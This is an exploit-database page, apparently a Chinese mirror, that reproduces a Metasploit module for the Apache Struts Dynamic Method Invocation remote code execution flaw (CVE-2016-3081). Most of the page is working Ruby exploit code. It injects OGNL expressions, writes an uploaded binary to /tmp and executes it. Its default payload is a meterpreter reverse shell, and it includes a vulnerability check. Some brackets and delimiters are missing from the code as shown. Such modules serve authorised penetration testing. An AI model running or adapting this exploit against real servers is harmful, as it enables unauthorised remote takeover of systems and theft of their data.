发布 2016-05-02 漏洞条目

Apache Struts – Dynamic Method Invocation Remote Code Execution (Metasploit)

Exploit Source

# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::EXE

def initialize(info = {})

super(update_info(info,

'Name' => 'Apache Struts Dynamic Method Invocation Remote Code Execution',

'Description' => %q{

This module exploits a remote command execution vulnerability in Apache Struts

version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code

Execution can be performed via method: prefix when Dynamic Method Invocation

is enabled.

'Author' => [ 'Nixawk' ],

'License' => MSF_LICENSE,

'References' =>

[

[ 'CVE', '2016-3081' ],

[ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ]

'Platform' => %w{ linux },

'Privileged' => true,

'DefaultOptions' => {

'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp_uuid'

'Targets' =>

[

['Linux Universal',

{

'Arch' => ARCH_X86,

'Platform' => 'linux'

}

]

'DisclosureDate' => 'Apr 27 2016',

'DefaultTarget' => 0))

register_options(

[

Opt::RPORT(8080),

OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']),

OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])

], self.class)

end

def print_status(msg='')

super("#{peer} - #{msg}")

end

def send_http_request(payload)

uri = normalize_uri(datastore['TARGETURI'])

res = send_request_cgi(

'uri' => "#{uri}#{payload}",

'method' => 'POST')

if res && res.code == 404

fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')

end

res

end

def parameterize(params) # params is a hash

URI.escape(params.collect { |k, v| "#{k}=#{v}" }.join('&'))

end

def generate_rce_payload(code, params_hash)

payload = "?method:"

payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")

payload << ","

payload << Rex::Text.uri_encode(code)

payload << ","

payload << Rex::Text.uri_encode("1?#xx:#request.toString")

payload << "&"

payload << parameterize(params_hash)

payload

end

def temp_path

@TMPPATH ||= lambda {

path = datastore['TMPPATH']

return nil unless path

unless path.end_with?('/')

path << '/'

end

return path

}.call

end

def upload_file(filename, content)

var_a = rand_text_alpha_lower(4)

var_b = rand_text_alpha_lower(4)

var_c = rand_text_alpha_lower(4)

var_d = rand_text_alpha_lower(4)

code = "##{var_a}=new sun.misc.BASE64Decoder(),"

code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_c}[0]))),"

code << "##{var_b}.write(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])),"

code << "##{var_b}.close()"

params_hash = { var_c => filename, var_d => content }

payload = generate_rce_payload(code, params_hash)

send_http_request(payload)

end

def execute_command(cmd)

var_a = rand_text_alpha_lower(4)

var_b = rand_text_alpha_lower(4)

var_c = rand_text_alpha_lower(4)

var_d = rand_text_alpha_lower(4)

var_e = rand_text_alpha_lower(4)

var_f = rand_text_alpha_lower(4)

code = "##{var_a}=@java.lang.Runtime@getRuntime().exec(#parameters.#{var_f}[0]).getInputStream(),"

code << "##{var_b}=new java.io.InputStreamReader(##{var_a}),"

code << "##{var_c}=new java.io.BufferedReader(##{var_b}),"

code << "##{var_d}=new char[1024],"

code << "##{var_c}.read(##{var_d}),"

code << "##{var_e}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"

code << "##{var_e}.println(##{var_d}),"

code << "##{var_e}.close()"

cmd.tr!(' ', '+') if cmd && cmd.include?(' ')

params_hash = { var_f => cmd }

payload = generate_rce_payload(code, params_hash)

send_http_request(payload)

end

def linux_stager

payload_exe = rand_text_alphanumeric(4 + rand(4))

path = temp_path || '/tmp/'

payload_exe = "#{path}#{payload_exe}"

b64_filename = Rex::Text.encode_base64(payload_exe)

b64_content = Rex::Text.encode_base64(generate_payload_exe)

print_status("Uploading exploit to #{payload_exe}")

upload_file(b64_filename, b64_content)

print_status("Attempting to execute the payload...")

execute_command("chmod 700 #{payload_exe}")

execute_command("/bin/sh -c #{payload_exe}")

end

def exploit

linux_stager

end

def check

var_a = rand_text_alpha_lower(4)

var_b = rand_text_alpha_lower(4)

addend_one = rand_text_numeric(rand(3) + 1).to_i

addend_two = rand_text_numeric(rand(3) + 1).to_i

sum = addend_one + addend_two

flag = Rex::Text.rand_text_alpha(5)

code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"

code << "##{var_a}.print(#parameters.#{var_b}[0]),"

code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"

code << "##{var_a}.print(#parameters.#{var_b}[0]),"

code << "##{var_a}.close()"

params_hash = { var_b => flag }

payload = generate_rce_payload(code, params_hash)

begin

resp = send_http_request(payload)

rescue Msf::Exploit::Failed

return Exploit::CheckCode::Unknown

end

if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")

Exploit::CheckCode::Vulnerable

else

Exploit::CheckCode::Safe

end

作者: Metasploit
日期: 2016-05-02
类别: remote
平台: linux

相关漏洞条目

strongSwan 5.9.13 – libsimaka EAP-SIM/AKA heap buffer overflow

Wing FTP Server 8.1.3 – Authenticated Remote Code Execution

Microsoft – NTLMv2 Hash Capture

telnetd 2.7 – Buffer Overflow